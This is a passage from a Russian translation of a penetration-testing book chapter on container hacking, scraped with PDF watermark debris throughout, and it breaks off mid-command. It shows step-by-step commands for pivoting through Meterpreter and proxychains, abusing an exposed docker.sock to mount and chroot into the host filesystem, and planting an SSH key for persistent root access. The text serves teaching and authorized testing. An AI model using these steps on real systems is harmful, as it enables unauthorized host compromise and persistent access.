Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
16
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

Взлом контейнера

 

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Взлом контейнера 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

371 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

У нас есть доступ к оболочке контейнера через сеанс Meterpreter, и благодаря этомусеансумыможемобщатьсясдругимиконтейнерами,размещеннымина той же машине.Во время более раннего сканирования сети Docker с помощью Nmap было видно, что служба на порту 8022 также выделяется среди остальных. Будучи хакерами, мы всегда интересуемся службами с портами в диапазоне 8000, потому что там можно найти слабозащищенные веб-серверы. Этот конкретный порт может стать эксплуатируемым веб-приложением и предо­ ставить нам более расширенный доступ по сравнению с тем, что у нас есть сейчас.

В отчете о сканировании Nmap для контейнера content_ssh_1 также был открытый SSH-порт, но эту службу обычно сложнее использовать, за исключениематакиметодомполногопереборадляполученияслабыхучетныхданных.

Nmap scan report for content_ssh_1.content_default (172.18.0.2) Host is up (0.00056s latency).

Not shown: 65534 closed ports

PORT

STATE SERVICE

22/tcp

open ssh

8022/tcp

open unknown

Если вернуться назад и заглянуть в оболочку скомпрометированного контейнера, то можно выполнить команду curl, чтобы просмотреть содержимое этого веб-приложения.В консоли Metasploit можем взаимодействовать с сеан­ сом Meterpreter, используя команду session и передавая число 1 опции -i

(interact).

msf auxiliary(socks4a) > sessions -i 1

[*] Starting interaction with 1...

meterpreter >

Вернувшись в сессию Meterpreter,можно зайти дальше втерминал целевого контейнера, используя команду shell.

meterpreter > shell

Process 230 created. Channel 16 created.

Мы можем не увидеть типичное приглашение Linux, но можем выполнять простые команды терминала Linux,такие как curl,для проверки службы 8022 в контейнере 172.18.0.2.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 372  Глава 13.Взлом контейнеров

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

curl -s 172.18.0.2:8022

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

<!DOCTYPE html>

<html style="height:100%; !important;">

<head>

<title>Docker-SSH</title>

<script src="/js/jquery-1.11.3.min.js"></script> <script src="/js/term.js"></script>

<link rel="stylesheet" href="/css/term.css" type="text/css" />

</head>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

<body>

Восхитительно! Похоже, что этот контейнер является приложением DockerSSH, которое, как следует из названия, обеспечивает доступ к контейнерам по протоколу SSH.

Docker-SSH доступно на Docker Hub и на странице https:// github.com/jeroenpeeters/docker-ssh.

Мы совершили несколько действий, чтобы иметь возможность выполнить команду curl на целевом контейнере, а также использовать ProxyChains, чтобы сделать то же самое, но с компьютера злоумышленника. Запрос curl будет проксирован через сервер Metasploit SOCKS4, который мы настроили ранее, и трафик будет проходить через сеанс Meterpreter, предоставляя нам доступ к жертве, находящейся на расстоянии шага.

root@kali:~# proxychains curl -s 172.18.0.2:8022 ProxyChains-3.1 (http://proxychains.sf.net) |S-chain|-<>-127.0.0.1:1080-<><>-172.18.0.2:8022-<><>-OK <!DOCTYPE html>

<html style="height:100%; !important;">

<head>

<title>Docker-SSH</title>

<script src="/js/jquery-1.11.3.min.js"></script> <script src="/js/term.js"></script>

<link rel="stylesheet" href="/css/term.css" type="text/css" />

</head>

<body>

На нашей атакующей машине мы можем проксировать SSH-соединение прямо к этому контейнеру и посмотреть, с чем имеем дело.

root@kali:~# proxychains ssh root@172.18.0.2 ProxyChains-3.1 (http://proxychains.sf.net)

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Взлом контейнера 

w Click

to

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

 

 

|S-chain|-<>-127.0.0.1:1080-<><>-172.18.0.2:22-<><>-OK

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

The authenticity of host '172.18.0.2 (172.18.0.2)' can't be established.

RSA key fingerprint is SHA256:ZDiL5/w1PFnaWvEKWM6N7Jzsz/FqPMM1SpLbbDUUtSQ.

Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '172.18.0.2' (RSA) to the list of known hosts.

###############################################################

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

373 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

## Docker SSH ~ Because every container should be accessible ##

###############################################################

## container | content_db_1 ##

###############################################################

/ $

Похоже, мы подключились автоматически без запроса пароля. Также очевидно, в этом конкретном контейнере мы работаем с правами суперпользователя.

/ $ id

uid=0(root) gid=0(root) groups=0(root)

/ $

Чисто сработано. Docker-SSH имеет несколько параметров конфигурации аутентификации, и этот экземпляр Docker-SSH, похоже, настроен с парамет­ ром noAuth, который разрешает анонимные подключения.

Вы,наверное,думаете,чтоврядликакая-нибудьорганизациябудетразвора- чиватьэтоттипконтейнеравсвоейпроизводственнойсреде.Вдействительности разработчики довольно часто создают небезопасно сконфигурированные контейнеры,такие как Docker-SSH,для устранения проблем.В зависимости от воздействия приоритетом для экспертов из группы реагирования на компьютерные инциденты является восстановление служб. Обычные процессы, связанные с управлением изменениями,обходятся,и развертыванию Docker-SSH дается зеленый свет. Проблема устранена, хаос стихает, но, после того как инженер проработал 40 с лишним часов подряд, случаются ошибки. Небезопасные контейнеры, инструменты и резервные копии остаются в оперативном режиме и могут быть использованы злоумышленниками.

Если просмотрим файловую систему контейнера Docker-SSH,то увидим интересный файл в /var/run.

/ $ /bin/bash

root@13f0a3bb2706:/# ls -lah /var/run/docker.sock srw-rw---- 1 root mysql 0 Aug 20 14:08 /var/run/docker.sock

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 374  Глава 13.Взлом контейнеров

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Открытый файл docker.sock позволяет контейнерам отправлять команды

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

демонуDocker,работающемунахосте.Имеядоступкконтейнерусправамисуперпользователя,можно делать разные интересные вещи.В частности,можем связаться с хостом и вежливо попросить его предоставить нам доступ к корневой файловой системе. Эта функция на самом деле используется на практике. Существуют контейнеры, которые управляют другими контейнерами на том же хосте.В этихтипах развертываниядемон Docker,работающий на хосте, долженпредоставитьдоступкdocker.sock,чтобыэтотконкретныйконтейнер могделать свою работу.

Не забывайте, что контейнеры, как правило, минималистичны, и обычные инструменты Unix могутбыть недоступны.Нам нужен клиентDocker,установленный внутри этого контейнера, чтобы иметь возможность с легкостью отдавать команды хосту Docker. Чтобы быстро установить клиента Docker, можно использовать скрипт bash, который можно найти на странице get.docker. com. Это официальный скрипт оболочки от Docker, устанавливающий среду со

всеминеобходимымизависимостямииобеспечивающийуспешнуюустановку клиента Docker.

Можно с легкостью загрузить этот скрипт для установки Docker, используя proxychains и scp. В отдельном терминале на компьютере злоумышленника используем wget, чтобы скачать скрипт и сохранить его локально. После этого оборачиваем команду scp (Secure Copy), используя proxychains, и загружаем скрипт в целевой контейнер.

root@kali:~# wget https://get.docker.com -O /root/tools/docker-install.sh root@kali:~# proxychains scp /root/tools/docker-install.sh root@172.18.0.2:/tmp/update.sh

ProxyChains-3.1 (http://proxychains.sf.net) |S-chain|-<>-127.0.0.1:1080-<><>-172.18.0.2:22-<><>-OK update.sh 100% 14K 00:00

root@kali:~#

Вернувшись в контейнерный терминал Docker-SSH, можем выполнить скрипт установки Docker, используя bash.

root@13f0a3bb2706:/# bash /tmp/update.sh

# Executing docker install script, commit: 49ee7c1 [...]

Получив двоичный файл клиента Docker, можем побеседовать с нашим любезнымхостомипопроситьегосоздатьещеодинконтейнерсфайловойсистемой хоста, смонтированной внутри, с помощью команды docker run.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Взлом контейнера 

w Click

to

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

 

 

root@13f0a3bb2706:/# docker run -iv /:/host ubuntu:latest

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

/bin/bash

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

375 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Unable to find image 'ubuntu:latest' locally latest: Pulling from library/ubuntu

[...]

Status: Downloaded newer image for ubuntu:latest root@a39621d553e4:/#

Здесь мы создали новый экземпляр контейнера Ubuntu из контейнера Docker-SSH. Опция -v монтирует корневую файловую систему хоста в папку /host нового контейнера с правами на чтение и запись. Клиент Docker также создаст оболочку /bin/bash, когда новый контейнер будет запущен, а опция -i гарантирует, что Docker не переведет контейнер в фоновый режим (демонизируетего),и у нас будетинтерактивный сеанс.Другими словами,у нас есть оболочка в новом контейнере Ubuntu с правами суперпользователя.

Все это стало возможным благодаря открытому сокету Docker, найденному в /var/run/docker.sock. Клиент Docker использовал этот специальный файл для связи с API хоста Docker и подачи произвольных команд.

ВнутриэтогоновогоконтейнераUbuntuможемнаблюдатьсмонтированную файловую систему хоста.

root@a39621d553e4:/# ls -lah / total 76K

drwxr-xr-x 35 root root 4.0K Oct 7 01:38 . drwxr-xr-x 35 root root 4.0K Oct 7 01:38 .. -rwxr-xr-x 1 root root 0 Oct 7 01:38 .dockerenv [...]

drwxr-xr-x 2 root root 4.0K Oct 7 01:38 home drwxr-xr-x 22 root root 4.0K Aug 20 14:11 host [...]

drwx------ 2 root root 4.0K Oct 7 01:38 root [...]

root@a39621d553e4:/#

Имея права на чтение и запись в этот каталог, можем быстро скомпрометировать сам хост с помощью команды chroot.

root@33f559573304:/# chroot /host

# /bin/bash root@33f559573304:/#

Если помните, функциональность chroot позволяет сбросить действующий корневойкаталогфайловойсистемыдопроизвольногокаталога.Вэтомслучае

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 376  Глава 13.Взлом контейнеров

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

произвольный каталог оказывается корневой файловой системой хоста. Если

 

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

введем другую команду ps в каталоге chroot/host, результат будет немного

 

 

 

 

 

 

 

 

 

 

 

 

отличаться от предыдущего.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

root@33f559573304:/# ps x

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

PID TTY

STAT

TIME

COMMAND

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1 ?

Ss

0:04

/sbin/init

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

[...]

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

751 ?

Ssl

1:03

/usr/bin/dockerd --raw-logs

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

[...]

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

14966 ?

R+

0:00

ps x

 

 

 

 

 

 

 

 

 

 

 

 

Похоже, нам стало неуютно! Вы увидите, что в списке процессов показана работа процесса dockerd и процесса init с PID 1. Это список процессов хоста

Docker.

Нам нужно сохранить наш доступ, на случай если мы потеряем связь с контейнерами Docker. Самый простой способ – сгенерировать новую пару SSHключей для аутентификации и добавить открытый ключ в файл authorized_

keys.

На атакующей машине команду ssh-keygen можно использовать для генерации новой пары ключей RSA.

root@kali:~# ssh-keygen -t rsa -b 4096 -C "sensible@ansible" Generating public/private rsa key pair.

[...]

SHA256:mh9JYngbgkVsCy35fNeAO0z0kUcjMaJ8wvpJYiONp3M

sensible@ansible

[...] root@kali:~#

Помните о правилахведения боя и удалите все артефакты,например SSH-ключи,сразу после завершения задания.

Вернувшись в контейнер, можем добавить наш ключ в файл хоста Docker authorized_keys,тем самым предоставив себедоступ с правами суперпользователя через аутентификацию с открытым SSH-ключом.

root@33f559573304:/# echo "ssh-rsa VGhlcmUgYXJlIHRoZXNlIHR3byB5b3VuZyBmaXNoIHN3aW1taW5nIGFsb25nLCBhbmQgdGhle SBoYXBwZW4gdG8gbWVldCBhbiBvbGRlciBmaXNoIHN3aW1taW5nIHRoZSBvdGhlciB3YXksIH dobyBub2RzIGF0IHRoZW0gYW5kIHNheXMsICJNb3JuaW5nLCBib3lzLCBob3cncyB0aGUgd2F 0ZXI/IiBBbmQgdGhlIHR3byB5b3VuZyBmaXNoIHN3aW0gb24gZm9yIGEgYml0LCBhbmQgdGhl